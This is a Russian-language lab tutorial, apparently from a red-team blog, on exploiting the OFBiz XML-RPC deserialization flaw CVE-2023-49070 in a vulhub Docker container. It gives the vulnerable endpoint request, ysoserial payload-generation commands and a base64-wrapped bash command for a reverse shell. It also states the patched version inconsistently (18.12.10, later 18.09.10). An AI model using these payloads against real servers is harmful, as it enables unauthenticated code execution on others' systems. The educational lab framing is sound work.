{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Введение","type":"header-two","key":"ai5iq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Apache OFBiz - это open-source программное обеспечение, включающее в себя множество различных приложений для интеграции и автоматизации множества бизнес-процессов предприятий.","type":"unstyled","key":"2ik91"},{"data":{},"depth":0,"entityRanges":[{"key":0,"length":14,"offset":171}],"inlineStyleRanges":[],"text":"5 декабря 2023 года в OFBiz был найден критический баг, приводящий к удаленному выполнению кода без аутентификации. Уязвимость получила 9.8 баллов по CVSS и идентификатор CVE-2023-49070. Разработчик исправил ошибку в обновлении 18.12.10.","type":"unstyled","key":"bt9j3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В этой статье мы развернем уязвимую версию OFBiz и разберемся как эксплуатировать ее.","type":"unstyled","key":"blq6g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Данная статья представлена исключительно в образовательных целях. Red Team сообщество \"GISCYBERTEAM\" не несёт ответственности за любые последствия ее использования третьими лицами.","type":"blockquote","key":"vrhq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Подготовка","type":"header-two","key":"35tr0"},{"data":{},"depth":0,"entityRanges":[{"key":1,"length":6,"offset":128},{"key":2,"length":18,"offset":258}],"inlineStyleRanges":[],"text":"Для эксплуатации уязвимостей нам необходимо поставить версию уязвимого ПО - 18.12.09 для CVE-2023-49070. Эта версия доступна на vulhub, откуда ее можно установить с помощью docker pull или docker-compose, предварительно скачав каталог с файлами настройки из GitHub-репозитория.","type":"unstyled","key":"f08l8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Скачиваем контейнер с помощью docker pull:","type":"unstyled","key":"8evp0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":63,"offset":0,"style":"ITALIC"}],"text":"docker pull vulhub/ofbiz:18.12.09 # - скачиваем версию 18.12.09","type":"unstyled","key":"e60lk"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Чтобы запускать и останавливать контейнеры достаточно написать следующие команды:","type":"unstyled","key":"5u1pp"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":126,"offset":0,"style":"ITALIC"}],"text":"docker run -d -p 8443:8443 vulhub/ofbiz:18.12.09 # - запуск контейнера docker stop CONTAINER_ID # - остановка контейнера по id","type":"unstyled","key":"9ct0e"},{"data":{},"depth":0,"entityRanges":[{"key":3,"length":9,"offset":53},{"key":4,"length":11,"offset":236}],"inlineStyleRanges":[],"text":"Также для эксплуатации уязвимости необходимо скачать ysoserial. ysoserial - это проект, необходимый для эксплуатации небезопасной десериализации объектов в программах, написанных на Java. Подробнее об этой уязвимости можно прочитать на PortSwigger. Коротко говоря, ysoserial будет использоваться для генерации сериализованного Java объекта с внедренным пэйлоадом для эксплуатации.","type":"unstyled","key":"adhel"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Разбор уязвимости CVE-2023-49070","type":"header-two","key":"4ei7l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Для начала демонстрации необходимо запустить контейнер, как это было показано выше (запуск может потребовать некоторого времени). Когда образ полностью поднимется, у нас будет доступно веб-приложение на порту 8443:","type":"unstyled","key":"97saq"},{"data":{"image":{"id":"65a8fc33cd5d334ff7c888c6"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"fa70k"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":26,"offset":120,"style":"BOLD"},{"length":26,"offset":120,"style":"ITALIC"}],"text":"Уязвимость заключается в модуле xmlrpc, где можно произвести внедрение команды в XML. Внедрение кода происходит в точке /webtools/control/xmlrpc;/. Для этого нужно отправить запрос со следующей структурой:","type":"unstyled","key":"aemft"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":713,"offset":0,"style":"ITALIC"}],"text":"POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1 Host: 127.0.0.1:8443 \nConnection: close \nContent-Length: 669 \n \n \nqwe \n \n \n \n \n \nrce \n PAYLOAD \n \n \n \n \n \n","type":"unstyled","key":"4djjd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь нам необходимо сгенерировать пэйлоад с помощью раннее скачанного ysoserial:","type":"unstyled","key":"2nmbl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":77,"offset":0,"style":"ITALIC"}],"text":"java -jar ysoserial-all.jar CommonsBeanutils1 'COMMAND' | base64 | tr -d \"\\n\"","type":"unstyled","key":"7634l"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"где COMMAND - комманда, которую мы хотим выполнить, зашифрованная в base64.","type":"unstyled","key":"2jajl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Однако, мы поступим немного хитрее, иначе пэйлоад на реверс-шелл не отработает из-за спец-символов и фильтрации. Мы сначала закодируем команду в base64, а в конечном пэйлоаде будем проводить декодировку:","type":"unstyled","key":"5gtjo"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":121,"offset":0,"style":"ITALIC"}],"text":"java -jar ysoserial-all.jar CommonsBeanutils1 'bash -c {echo,BASE64_COMMAND}|{base64,-d}|{bash,-i}' | base64 | tr -d \"\\n\"","type":"unstyled","key":"as5en"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Отправив полученную закодированную строку, мы получаем обратный шелл:","type":"unstyled","key":"deegc"},{"data":{"image":{"id":"65a8fcdf6eeb572d4c86653c"}},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"atomic:image","key":"5j38a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Заключение","type":"header-two","key":"d3o71"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"В этой статье мы развернули уязвимую версию Apache OFBiz 18.12.09 и рассмотрели как эксплуатировать уязвимость CVE-2023-49070. Данная ошибка была исправлена разработчиком в версии 18.09.10, однако это привлекло к другой уязвимости, также приводящей к удаленному выполнению кода. Эта уязвимость получила идентификатор CVE-2023-51467 и будет рассмотрена в следующей статье.","type":"unstyled","key":"69ut2"},{"data":{},"depth":0,"entityRanges":[{"key":5,"length":25,"offset":37}],"inlineStyleRanges":[{"length":62,"offset":0,"style":"ITALIC"}],"text":"Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam","type":"unstyled","key":"6ikrv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"Jhf5tcA9UJakfu7WJQZf"}],"entityMap":{"0":{"data":{"href":"https://nvd.nist.gov/vuln/detail/CVE-2023-49070","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49070"},"mutability":"MUTABLE","type":"LINK"},"1":{"data":{"href":"https://github.com/vulhub/vulhub","url":"https://github.com/vulhub/vulhub"},"mutability":"MUTABLE","type":"LINK"},"2":{"data":{"href":"https://github.com/vulhub/vulhub/tree/master","url":"https://github.com/vulhub/vulhub/tree/master"},"mutability":"MUTABLE","type":"LINK"},"3":{"data":{"href":"https://github.com/frohoff/ysoserial/releases","url":"https://github.com/frohoff/ysoserial/releases"},"mutability":"MUTABLE","type":"LINK"},"4":{"data":{"href":"https://portswigger.net/web-security/deserialization","url":"https://portswigger.net/web-security/deserialization"},"mutability":"MUTABLE","type":"LINK"},"5":{"data":{"href":"https://t.me/giscyberteam","url":"https://t.me/giscyberteam"},"mutability":"MUTABLE","type":"LINK"}}},"mentions":[]}